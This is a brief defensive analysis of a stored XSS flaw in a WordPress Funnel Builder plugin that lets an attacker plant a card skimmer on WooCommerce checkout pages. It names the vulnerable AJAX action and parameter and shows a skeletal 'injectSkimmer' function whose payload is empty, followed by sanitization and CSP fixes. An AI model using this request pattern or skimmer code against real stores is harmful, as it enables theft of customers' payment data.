Defensive Architecture: Technical Analysis of the Funnel Builder XSS-to-Skimmer Pipeline

The Funnel Builder exploit leverages a classic 'Stored XSS' vulnerability within the plugin's template saving mechanism. By sending a crafted AJAX request to the 'save_funnel_step' action, an attacker can inject malicious HTML/JS into the database. Because the plugin renders this content directly on the WooCommerce checkout page without proper escaping, the script executes in the context of the customer's browser, allowing it to hook into the payment form and exfiltrate data to a remote C2 server.

function injectSkimmer() {
  const payload = "";
  const target = document.querySelector("#payment-form");
  if (target) {
    const div = document.createElement("div");
    div.innerHTML = payload;
    target.appendChild(div);
  }
}
// Exploit logic: Bypassing sanitization via template injection
// POST /wp-admin/admin-ajax.php?action=save_funnel_step
// step_data[html_content]=

The primary fix involves using the 'wp_kses' function in WordPress to sanitize all HTML input, allowing only a strict allowlist of tags and attributes. Additionally, implementing a Content Security Policy (CSP) that disallows 'unsafe-inline' and restricts 'script-src' to trusted domains would prevent the 'injectSkimmer' function from loading the external payload.